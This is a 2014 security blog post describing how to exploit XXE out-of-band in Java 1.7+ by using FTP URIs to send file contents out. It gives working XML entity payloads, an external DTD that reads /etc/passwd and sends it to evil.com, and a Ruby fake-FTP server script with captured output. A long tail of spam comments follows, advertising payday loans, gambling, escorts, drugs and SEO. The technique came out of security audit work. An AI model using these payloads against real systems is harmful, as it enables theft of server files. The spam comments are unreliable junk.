понедельник, 23 июня 2014 г.

XXE OOB exploitation at Java 1.7+

Java since 1.7 patched gopher:// schema (thanks A.Polyakov for that https://media.blackhat.com/bh-us-12/Briefings/Polyakov/BH_US_12_Polyakov_SSRF_Business_Slides.pdf)
But also patched HttpClient class.

Now Java doesn't convert multiline URIs by urlencode to valid one.

This fix produce "java.net.MalformedURLException: Illegal character in URL" exception when URL contains new lines and other command characters.

XXE payload:
<!ENTITY % b SYSTEM "file:///tmp/">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'http://evil.com:8000/%b;'>">
%c;
XXE OOB attack technique first discovered at 2009 by T.Terada:
And rediscovered later by T.Yunusov and A.Osipov with additional features such as attribute entities

Fill the difference:

Java 1.7- :
GET /.font-unix%0A.ICE-unix%0A.X11-unix%0AaprmovGRx%0Aasd%0AeTSrv%0Ahosts%0Alaunchd-277.sloRFO%0Alaunchd-492.s4PJbX%0Alaunchd-5486.ocD8IC%0Alaunchd-9800.eUprC8%0Alaunch-j7JvAs%0Alaunch-L6bUiQ%0Alaunch-WELXDr%0Apasswd%0Axxe.xml%0A HTTP/1.1
User-Agent: Java/1.6.0_65
...

Java 1.7+:
nothing!
Stack trace:
java.net.MalformedURLException: Illegal character in URL
at sun.net.www.http.HttpClient.getURLFile(HttpClient.java:583)
at sun.net.www.protocol.http.HttpURLConnection.getRequestURI(HttpURLConnection.java:2298)
at sun.net.www.protocol.http.HttpURLConnection.writeRequests(HttpURLConnection.java:513)
...
at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:141)
at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:243)
at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:347)

This makes XXE OOB exploitation impossible.

We met this problem at security audit and solve it by using FTP and hacker's logic :) The main trick is that Java still have no URI validation in case of FTP.

Each line from multiline FTP URI will be requested as separate directory by CWD command. Each "/" char at line will be also separated to different CWD request.

For exploit it you need emulate FTP server of course.

require 'socket'
server = TCPServer.new 8000 
loop do
  Thread.start(server.accept) do |client|
    puts "New client connected"
    data = ""
    client.puts("220 xxe-ftp-server")
    loop {
        req = client.gets()
        puts "< "+req
        if req.include? "USER"
            client.puts("331 password please - version check")
        else
            puts "> 230 more data please!"
            client.puts("230 more data please!")
        end
    }
  end
end

You can also put payload into username or password like this:
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://%b;:aaa@evil.com:8000/'>">
or
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://aaa:%b;@evil.com:8000/'>">
And retrieve all data in only one request. But in this case you can not read files with ":" char (such as /etc/passwd) because:
java.net.MalformedURLException: For input string: "x:0:0:root:"
at java.net.URL.<init>(URL.java:619)
at java.net.URL.<init>(URL.java:482)
at java.net.URL.<init>(URL.java:431)

Finally got something like this: 

XXE payload: 
<?xml version="1.0"?>
<!DOCTYPE a [
   <!ENTITY % asd SYSTEM "http://evil.com/ext.dtd"> 
   %asd; 
   %rrr; 
]>
<a></a>
External DTD payload (hosted at http://evil.com/ext.dtd):
<!ENTITY % b SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://evil.com:8000/%b;'>">
$ ruby xxe-ftp-server.rb
New client connected
< USER anonymous
< PASS Java1.7.0_45@
> 230 more data please!
< TYPE I
> 230 more data please!
< CWD root:x:0:0:root:
> 230 more data please!
< CWD root:
> 230 more data please!
< CWD bin
> 230 more data please!
< CWD bash
> 230 more data please!
< daemon:x:1:1:daemon:
...
root:x:0:0:root:/root:/bin/bash -----/*slash separation*/-----> root:x:0:0:root:   root:   bin   bash

111 комментариев:

  1. Great post! I came up with the exactly same trick this week while playing with XPath 2.0 app, but Google search told me that I was not the first person who got this FTP trick... BTW, thank you for linking my article (http://d.hatena.ne.jp/teracc/20090718#1247918667) written back in 2009.

    ОтветитьУдалить
  2. Thanks for sharing, nice post!

    - Là sản phẩm tuyệt vời của sự phát triển công nghệ, vong em be tu dong được thiết kế an toàn, tiện dụng. Những lợi ích mà thiet bi dua vong tu dong cho bé mang lại là vô cùng thiết thực.
    - Với sự phát triển ngày càng tiến bộ của kỹ thuật công nghệ, nhiều sản phẩm thông minh ra đời với mục đích giúp cuộc sống chúng ta trở nên thoải mái và tiện lợi hơn. Và võng đưa em bé ra đời là một trong những sản phẩm tinh túy của công nghệ, máy đưa võng tự động là phương pháp ru con thời hiện đại của các ông bố bà mẹ bận rộn.
    - Hiện nay trên thị trường có nhiều loại máy đưa võng tự động cho em bé, sau nhiều năm kinh doanh và kinh nghiệm đút kết từ phản hồi của quý khách hàng sau khi mua máy, máy đưa võng tự động An Thái Sơn nhận thấy máy đưa võng tự động TS – sản phẩm may dua vong tu dong thiết kế dành riêng cho em bé, có chất lượng rất tốt, hoạt động êm, ổn định sức đưa đều, không giật cục, tuyệt đối an toàn cho trẻ, là lựa chọn hoàn hảo đảm bảo giấc ngủ ngon cho bé yêu của bạn.
    - Với may dua vong tự động, bạn sẽ không còn phải lo lắng quá nhiều về giấc ngủ của bé, những tiếng đồng hồ mệt mỏi ngồi đưa võng cho con cũng sẽ không còn ám ảnh bạn nữa, bạn sẽ có nhiều thời gian để làm được nhiều việc khác. Có thể nói, vong dua em be là quà tuyệt vời cho những ông bố bà mẹ bận rộn.

    Chia sẻ các mẹ bí quyết giúp bé phát triển tốt như: những cách chống nắng hiệu quả cho bé trong những ngày hè, ăn sữa chua đúng cách hay khi nào nên cho trẻ ăn sữa chua, nguyên nhân và cách trị chứng mất ngủ ở trẻ em hay bí quyết giúp bé ngủ ngon giấc giúp bé ngủ ngon hơn, chia sẻ các mẹ nguyên nhân và cách chữa trị bệnh rụng tóc ở trẻ em hay chị em phụ nữa lo lắng có nên uống collagen khi đang cho con bú, chia sẻ về Đông trùng hạ thảo và những cách chế biến đông trùng hạ thảo nguyên con
    Bạn xem thêm bí quyết và chia sẻ kinh nghiệm làm đẹp:

    Những thực phẩm giúp đẹp da tại http://nhungthucphamgiupda.blogspot.com/
    Thực phẩm giúp bạn trẻ đẹp tại http://thucphamgiuptre.blogspot.com/
    Thực phẩm làm tăng tại http://thucphamlamtang.blogspot.com/
    Những thực phẩm giúp làm giảm tại http://thucphamlamgiam.blogspot.com/
    Những thực phẩm tốt cho tại http://thucphamtotcho.blogspot.com/

    Chúc các bé khỏe mạnh, mau ăn chóng lớn!

    ОтветитьУдалить
  3. Bạn nên biết về cach lam thach rau cau 3d
    Thạch rau cau nâng cao sẽ có tại cach lam thach rau cau nhieu tang
    Bạn sẽ vô cùng ngạc nhiên với cach lam thach rau cau tai nha
    Hãy làm điều gì đó ý nghĩa khi chọn qua tang valentine y nghia cho nguoi yeu
    Đừng bao giờ bỏ qua qua tang valentine y nghia cho ban gai
    Bạn sẽ thích những món qua tang valentine y nghia nhat
    Cùng tìm hiểu stt tam trang ve tinh yeu cuoc song
    Giúp tình yêu thêm nồng nàng với nhung stt tinh yeu hay nhat
    Đôi khi bạn buồn thì hãy đến với stt tam trang buon co don

    ОтветитьУдалить
  4. http://apotekamanda.com
    http://klinikobatcytotectuntas.blogspot.com
    http://kelinikfarmasi.blogspot.com

    ОтветитьУдалить
  5. Each family unit needs a financial plan. Having a financial plan can help guarantee you will have the assets accessible for crises so you don't need to depend on payday advances.Check Cashing

    ОтветитьУдалить
  6. Consider it thusly: the cost of losing your home or auto would be significantly higher than getting a payday credit and paying somewhat higher rate of intrigue.
    Cash Advance Chicago

    ОтветитьУдалить
  7. You likewise need an administrative type of ID, evidence of residency, confirmation of auto protection and a spotless title. There will be no humiliating credit check or some other inquiries of why you need the advance after endorsement and examination. Your moment trade will be out your hands inside 24 hours, by means of check or direct store. Auto Title Loans Chicago

    ОтветитьУдалить
  8. Pemilihan tukang ganti kain sofa bandung yang tepat memang dapat membuat ruang keluarga atau ruang tamu terlihat semakin service kursi jok bandung. Oleh karena itu pemilihan sofa yang cocok dan berkualitas untuk rumah idaman Anda memang perlu diperhatikan. Jika salah memilih sofa minimalis murah bandung akan berakibat sofa cepat rusak dan membuat Anda terpaksa mengeluarkan uang hanya untuk memperbaiki sofa atau bahkan harus membeli sofa baru. Tentu banyak kerugian yang akan di akibatkan bila salah memilih furniture murah di bandung salah satunya waktu atau kebutuhan uang yang tak terduga. Nah untuk itu berikut ini kami berikan langkah-langkah dalam memilih toko furniture murah di bandung supaya Anda tidak salah memilihnya.

    Dapur bisa dikatakan sebagai jantungnya rumah kitchen set murah bandung. Tempat di mana Anda biasa memasak, menyiapkan makanan, tempat berkumpul dengan keluarga saat makan malam, bahkan seringkali Anda mengawasi anak-anak yang sedang bermain atau belajar dari ruangan ini kitchen set bandung murah. Hal ini menjadi salah satu alasan mengapa sering kali harga kitchen set bandung menulis tentang bagian rumah yang satu ini. Tujuannya tidak lain adalah untuk memberikan Anda ide untuk dapur yang nyaman kitchen set bandung harga, indah dan tidak membosankan. Berbicara soal bikin kitchen set bandung, mari simak 10 ide dapur nyaman yang tak mungkin Anda lewatkan berikut ini. Buku Panduan Lengkap Kehamilan cetakan pertama bulan Oktober 2013.

    Alhamdulilah, sampai saat ini cetakan buku kelima di tahun 2015 buku cara cepat hamil dr. rosdiana ramli spog. Salah satu masakan unik yang membuat orang barat keheranan dan takjub saat berkunjung ke negara kita adalah sambal ikan roa enak. Ya, aneka resep masakan sambal ini memang khas negara kita dan disukai oleh hampir sebagian besar masyarakat Indonesia. Bahkan sebagian besar dari kita bahkan merasa kurang saat menyantap hidangan tapi tidak ada makanan sambal roa semarang.

    ОтветитьУдалить
  9. شركة العنود من الشركات المتخصصة فى اعمال شركة تنظيف خزانات بمكة مكافحة الحشرات ونقل العفش وخدمات تنظيف المنازل تعرفوا على الكثير شركة عزل خزانات بمكة من الاعمال الرائعة المميزة تنظيف خزانات بمكة فى خدمات تنظيف الخزانات المميزة باسعار رائعة جدا نقدمها اليكم

    ОтветитьУдалить
  10. Thực phẩm chức năng herbalife tốt cho sức khỏe và giữ vóc dáng hiệu quả.

    ОтветитьУдалить
  11. Why Aafesh Transport Company in Riyadh is at the forefront
    - The Kingdom Experts Company for the transfer of Alafash in Riyadh good packing for each piece of furniture on the latest packaging tools suitable for each piece of furniture.
    - The company also provides the services of dismantling room curtains and installation again without additional cost.
    - The company to polish and clean all the pieces of furniture before the packaging process to save time so you do not need to clean the pieces of furniture upon arrival to the new place to be transferred to.
    - The Kingdom Experts Company is characterized by disciplined schedules and is not a reason for any delay or waste of time for its valued customers.
    - The transport company Afsh Riyadh is characterized by its reliance on modern methods and methods in the transfer of development and permanent development in the provision of services.
    Dear customer, The process of transferring luggage from one place to another is very tired and difficult and not as easy as some believe and needs technicians, specialists, workers and technicians to do; If you want to get the best service to transport the loaf of the highest levels of good planning and quality, you will not find a better company Transfer of Afesh in Riyadh.
    The aim of Nafal Afesh Company in Riyadh is to satisfy our valued customers. We promise you that you will receive all our services to your full satisfaction and attest to the efficiency, skill and honesty of our customers who have already dealt with us.افضل شركة تركيب اثاث ايكيا بالرياض
    افضل شركة تركيب ستائر بالرياض
    افضل شركة تنظيف مكيفات بالرياض
    افضل شركة تركيب غرف نوم بالرياض
    افضل شركة تركيب باركية بالرياض
    افضل شركة تركيب عفش بالرياض

    ОтветитьУдалить
  12. Android 8.0 Oreo Benefits and Hidden Features http://www.techfreetricks.com/android-8-0-oreo-benefits-hidden-features/ Android 8.0 Oreo is the latest version of Android and Google named it Android Oreo. And its initial release date is August 21, 2017.  <a href="http://www.techfreetricks.com/android-8-0-oreo-benefits-hidden-features/><b>Android 8.0 Oreo Benefits and Hidden Features</b></a><br />

    ОтветитьУдалить
  13. إن عملية تنظيف الخزان تتم باتباع شركة تنظيف سجاد بمكة أحدث الأجهزة و المعدات التي تعمل على إزالة أي رواسب أو تراكمات تعمل على إلحاق الضرر شركة تنظيف موكيت بمكة بالمياه أو بالخزان نفسه و يتم وضع المطهرات التي تساعد على قتل الميكروبات شركة تنظيف كنب بالبخار بمكة و الجراثيم كما أن شركة صيانة خزانات بمكة يمكنها مساعدتك لتصليح أي أضرار قد تتواجد في الخزان و تعمل على تلفه و إزعاج العميل

    ОтветитьУдалить
  14. افضل ضمان علي الاطلاق شركة نقل عفش بالطائف متاح في شركة نقل العفش و التي تقدم كافة الخدمات التي تبحث عنها لكي تصل الي الراحة و التميز الذي تبحث عنه من خلال أي خدمة شركة نقل اثاث بالطائف من هذه الخدمات و بالتالي فان افضل ضمان يعمل لتجد التعويض عن كسور و ضياع و أي تلفيات في أي من قطع الاثاث الخاصة بك

    ОтветитьУдалить
  15. لاعطال الاجهزة الكهربية المختلفة صيانة يونيون اير الموديلات فقط تواصلوا مع مراكز صيانة يونيون اير التى تنتشر فى فروع عدة على مستوى الجمهورية , حيث ان خدمات الصيانة لا تنتهى فمن خلال افضل صيانة تكييفات يونيون اير الحملات المجانية تمتعوا بصيانة فورية لجميع الاعطال المختلفة فى كافة الاجهزة الموجودة لديكم ومن خلال فريق من الفنيين المختصين والمدربين توكيل يونيون اير على اعلى مستوى فى مراكز تدريبية تابعه لشركة يونيون اير يمكنكم صيانة الاجهزة با احدث التقنيات التفاعلية

    ОтветитьУдалить
  16. Thanks for the information. In case, if you are facing a financial emergency, then you can get the fast cash that you need just by requesting a payday loan online!

    Payday loans online
    Online payday loans
    Cash loans
    One-hour payday loans
    Emergency Payday Loans
    Same day payday loans

    ОтветитьУдалить
  17. Этот комментарий был удален автором.

    ОтветитьУдалить
  18. Thanks for this nice and informative article. All the information is dealt with clarity.
    Want to recover from an unexpected financial emergency? Get Emergency Payday Loans Online Now.

    Online Payday Loans
    Cash Advance Loan
    Emergency payday Loans Payday Loans
    Bad Credit

    ОтветитьУдалить
  19. صيانة سيمنس

    شركة صيانة سيمنس هي شركة متخصصة في صيانة سيمنس بجميع أنواعها معروفة بتقديمها لخدمات في منتهى الجودة والدقة تسعى من خلالها للوصول إلى العالمية فإذا كنتم بحاجة لعمل صيانة سيمنس
    يمكنكم الاعتماد على شركتنا التي تقوم بجميع أعمال إصلاح وتنظيف وفك وتركيب جميع أنواع صيانة سيمنس بكل إتقان فنحن نمتلك جميع الإمكانيات التي تساعدنا على منح عملائنا الكرام خدمات ذات مستوى عالي من الجودة فلا تتردوا في التواصل معنا لتستفيدوا من خدماتنا وأسعارنا المتميزة فنحن نعمل جاهدين لإرضائكم وكسب ثقتكم وهذا ما يجعلنا في سعي متواصل لتحسين وتطوير خدماتنا



    https://samsung.khaterr.com
    https://lg.khaterr.com
    https://elarabygroup.khaterr.com

    https://bosch.khaterr.com
    https://daewoo.khaterr.com
    http://ariston.khaterr.com
    https://ara4host.com
    https://siemens.khaterr.com

    ОтветитьУдалить
  20. صيانة سيمنس

    شركة صيانة سيمنس هي شركة متخصصة في صيانة سيمنس بجميع أنواعها معروفة بتقديمها لخدمات في منتهى الجودة والدقة تسعى من خلالها للوصول إلى العالمية فإذا كنتم بحاجة لعمل صيانة سيمنس
    يمكنكم الاعتماد على شركتنا التي تقوم بجميع أعمال إصلاح وتنظيف وفك وتركيب جميع أنواع صيانة سيمنس بكل إتقان فنحن نمتلك جميع الإمكانيات التي تساعدنا على منح عملائنا الكرام خدمات ذات مستوى عالي من الجودة فلا تتردوا في التواصل معنا لتستفيدوا من خدماتنا وأسعارنا المتميزة فنحن نعمل جاهدين لإرضائكم وكسب ثقتكم وهذا ما يجعلنا في سعي متواصل لتحسين وتطوير خدماتنا



    https://samsung.khaterr.com
    https://lg.khaterr.com
    https://elarabygroup.khaterr.com

    https://bosch.khaterr.com
    https://daewoo.khaterr.com
    http://ariston.khaterr.com
    https://ara4host.com
    https://siemens.khaterr.com

    ОтветитьУдалить
  21. شركة صيانة سيمنس هي شركة متخصصة في صيانة سيمنس بجميع أنواعها معروفة بتقديمها لخدمات في منتهى الجودة والدقة تسعى من خلالها للوصول إلى العالمية فإذا كنتم بحاجة لعمل صيانة سيمنس
    يمكنكم الاعتماد على شركتنا التي تقوم بجميع أعمال إصلاح وتنظيف وفك وتركيب جميع أنواع صيانة سيمنس بكل إتقان فنحن نمتلك جميع الإمكانيات التي تساعدنا على منح عملائنا الكرام خدمات ذات مستوى عالي من الجودة فلا تتردوا في التواصل معنا لتستفيدوا من خدماتنا وأسعارنا المتميزة فنحن نعمل جاهدين لإرضائكم وكسب ثقتكم وهذا ما يجعلنا في سعي متواصل لتحسين وتطوير خدماتنا
    القاهرة صيانة سامسونج
    القاهرة صيانة ال جي
    القاهرة صيانة توشيبا
    صيانة سيمنس
    القاهرة صيانة بوش
    القاهرة صيانة دايو
    القاهرة صيانة اريستون
    صيانة وايت ويل القاهرة

    ОтветитьУдалить
  22. Thank you so much for sharing such amazing information, it’s really unique and valuable also.
    audio engineering course

    ОтветитьУдалить
  23. This was really helpful and gave me far more ideas.
    many many thanks.
    clipping path service

    ОтветитьУдалить
  24. Thank you SO MUCH! I've been struggling with bangs with a cowlick for so long. This work perfectly!!So glad I saw this.
    remove background from photos

    ОтветитьУдалить
  25. Thank you so much dear for sharing such an amazing blog, this is really valuable information for me. Visit our page for the Best Website Designing Company in Delhi, India.
    Website Designing Company in Delhi

    ОтветитьУдалить
  26. Thank you so much dear for sharing amazing blog, Post really provice useful information!
    Car Pics Editing

    ОтветитьУдалить
  27. Having a website for any kind of business is a must in today’s competitive scenario but what about having an attractive design of the website that directly appeals the senses of the user. Get in touch with Jeewangarg – The Best Website Designing Company in Delhi to get the Appealing Website Designs.

    ОтветитьУдалить
  28. Thank you for sharing this nice post, get customized and responsive website designing services by the best Website Designing Company in Delhi, India.
    Website Designing Company

    ОтветитьУдалить
  29. Nice Blog.
    https://www.clippingsolutions.com
    **https://www.graphic-aid.com/clipping-path
    https://www.graphic-aid.com/
    https://www.graphic-aid.com/neck-joint-service
    https://www.graphic-aid.com/photo-color-correction

    ОтветитьУдалить
  30. Thanks for sharing this post, this is really very nice informative post. Here we are presenting netcreativemind.com
    SEO SEM Specialist Recruiters | SEO/SEM Placement Consultant
    SEO SEM Specialist
    Information security Placement Consultants
    Data Analyst Recruitment Agency

    ОтветитьУдалить
  31. Jeewangarg is a renowned Digital marketing company offering the ultimate SEO services and Amazon/Flipkart services.

    PPC Services
    SEO Expert in India

    ОтветитьУдалить
  32. Nice Blog, keep it up for more updates about this type of blog.Carolina Classics is the manufacturer of best F-100 Classic Ford Truck Parts | Buy Ford F100 truck parts online at Carolina Classics.
    Classic Ford Truck Parts
    F-100 Ford Truck Parts
    Classic Ford Truck Body Parts

    ОтветитьУдалить
  33. Thanks For sharing this informative post. Here we are presenting Let's Life Breathe.
    5 Best Tips to Beat Pollen Allergies - BreatheFresh

    ОтветитьУдалить
  34. That was such an awesome content to read and going through it.Thanks for such a good information.our product related for servo voltage stabilizer and transformer manufecturer company in Delhi Our company is also Step Down Transformer Manufecturer in Delhi.
    Servo Stabilizer Manufacturer in india
    what is Step Down Transformer
    Distribution Transformers Manufacturer in india
    Step Down Transformer

    ОтветитьУдалить
  35. Corpac is India’s No.1 Professional PP Corrugated Sheets Manufacturers, suppliers and Currently being exported to countries like Qatar, New Zealand, Germany, Philippines, UK and Spain, this product is achieving new growth with over 10 years Experience. Corrugated plastic sheets are very versatile material that can be used in a variety of applications around the homes, companies and also for craft projects, call 9899362119." We manufacture Polypropylene Corrugated Sheets and fabricated products under one roof. We market our products not only in India but export to various countries across the world.

    ОтветитьУдалить
  36. This blog is one of the best information, i found in past some time. Get the best and dynamic Website Designing and Digital Marketing Services in Delhi, India.
    Web Development Company in Delhi

    ОтветитьУдалить

  37. Rishikesh Yogi Ashram will give with our world noted 100 Hour Yoga Teacher coaching In Rishikesh, 200 Hour Yoga Teacher coaching In Rishikesh, 300 Hour Yoga Teacher coaching In Rishikesh & 500 Hour Yoga Teacher coaching Course in Rishikesh and Yoga retreat in Rishikesh.

    ОтветитьУдалить
  38. Nice blog, Mutual Fund Advisor qualified experts who can comprehend the reason and subtleties of a store for the fund.
    Mutual Fund Advisor

    ОтветитьУдалить
  39. Nice blog, Get you website designing responsive and creative and also digital marketing services at ogen info system Delhi, India.
    SEO Service in Delhi

    ОтветитьУдалить
  40. If you want to get the best background removal service, clipping path and photo retouching service at a cheap price? We provide high-quality background removal service, clipping path service, photo retouching service and
    real estate photo editing at a cheap price. Just order and stay relax

    ОтветитьУдалить
  41. ===========================================================================================================================================
    we have provide the best ppc service.
    ppc company in gurgaon
    website designing company in Gurgaon
    PPC company in Noida
    seo company in gurgaon
    PPC company in Mumbai
    PPC company in Chandigarh

    ОтветитьУдалить

  42. Emedkit are a global pharmaceutical company whose mission is to advance the well-being of people around the world especially in countries like India, USA, Russia, Romania, Peru, and China. Our products include treatments for diseases such as Ledifos tablets, HIV/AIDS, Cancer, Hepcinat Lp tablets, Cancer Medicine. We provide our products at the lowest possible price as we stock bulk qualities and we deal both in drop shipping and bulk shipping.

    Hepcinat Lp tablets
    Liver Cancer Medicine
    Buy Gefitinib Tablet

    ОтветитьУдалить
  43. Rishikesh Yogi Ashram will give with our world noted 100 Hour Yoga Teacher coaching In Rishikesh, 200 Hour Yoga Teacher Training In Rishikesh, 300 Hour Yoga Teacher coaching In Rishikesh & 500 Hour Yoga Teacher Training Course in Rishikesh and Yoga retreat in Rishikesh

    ОтветитьУдалить
  44. Amazing blog, thank you so much for sharing such valuable information with us. Visit Mutualfundwala for the best investment schemes and mutual fund advisor.
    Mutual Fund Agent

    ОтветитьУдалить
  45. Agar aap apne husband se pareshan hai or uss se door rhana cahati hai toh aap Talaq lene ki dua ko kijiye aap pati aapko khud ba khud talaq de dega

    ОтветитьУдалить
  46. Agar aap apne husband se pareshan hai or uss se door rhana cahati hai toh aap Talaq lene ki dua ko kijiye aap pati aapko khud ba khud talaq de dega

    ОтветитьУдалить
  47. If you are looking to buy building & construction materials online for your home and office in Faridabad, India at the best price and quality service, I would highly recommend you to visit byoindia.com. Buy cement, steel, bricks, blocks, sand, pipes, tiles, plywood, paints, and other building materials and construction materials online at best prices in Faridabad.

    ОтветитьУдалить
  48. Awesome Blog, Get the best Investment Advice and information about the Best Mutual Funds Company in india.
    Mutual Fund Agent

    ОтветитьУдалить
  49. 13win Situs Agen Judi Online terbaik dan terpercaya di indonesia yang memberikan permainan judi terbaik dari pasarannya, seperti poker online dan bola terbaik dengan nilai kemenangan tertinggi dibandingkan situs lainnya lainnya. Untuk mengenal 13win lebih dekat berikut profile dari 13win https://skupnost.sio.si/blog/index.php?userid=187829/

    ОтветитьУдалить
  50. Thanks for the inspired use of both new image sets, and that sentiment stamp is a must have. Your cards are wonderful; first time on your blog, but I'll be back!!
    Mens African Clothing
    African clothing for Men

    ОтветитьУдалить
  51. Thanks for sharing this awesome article. We are
    escort girls hong kong. This article is very helpful for us. You can contact us to enjoy hong kong escorts.

    ОтветитьУдалить
  52. Al-Tamayoz Al-Janoubi Company for Home Services Cleanliness is one of the most important things that a person must pay attention to in order to protect the public health from the diseases that may affect the person because of the presence of piles of garbage, which may be close to the place of residence. The external environment is polluted and filled with very harmful microbes. The cleaning world is better than the treatment, and we in our company provide all our customers unlimited services, cleaning world, whether cleaning apartments, villas, houses, mosques, public institutions, government, companies, offices, Whatever you want to clean, we provide you with the fullest We have the best trained workers who do all types of cleaning.
    شركة تنظيف منازل بخميس مشيط
    شركة مكافحة حشرات بخميس مشيط
    شركة تنظيف بابها
    شركة تنظيف فلل بابها
    شركة تنظيف منازل بابها
    شركة مكافحة حشرات بابها






    ОтветитьУдалить
  53. Hi there, I discovered your blog by means of Google at the same time as looking for a

    related subject, your website came up, it appears good. I’ve bookmarked it in my google

    bookmarks.Yoga Teacher Training in India


    Yoga Teacher Training in Rishikesh

    ОтветитьУдалить
  54. "Thanks for sharing anda really helpfull , i will recommended my friend to read this post
    Very interesting 🙂
    if u want more information like this, click my link maybe you will interest"

    ~~> Bandar Judi Togel Terpercaya <~~

    ОтветитьУдалить
  55. Thank you so much for sharing this informative blog. Visit Lifestyle Magazine for Parties and events.
    Lifestyle Magazine India

    ОтветитьУдалить
  56. instagram takipçi hilesi instagramda ücretsiz takipçi, ücretsiz beğeni hilesi, ücretsiz izlenmelerinizi arttırabileceğiniz site hizmetinize açılmıştır. Hergün saatlik yenilenen kredileriniz ile dilediğiniz zaman işlem yapabilirsiniz. instagram takipçi ve instagram beğeni hilesi

    ОтветитьУдалить
  57. hi dear,this is very good and helpful article thanks for shearing.

    ОтветитьУдалить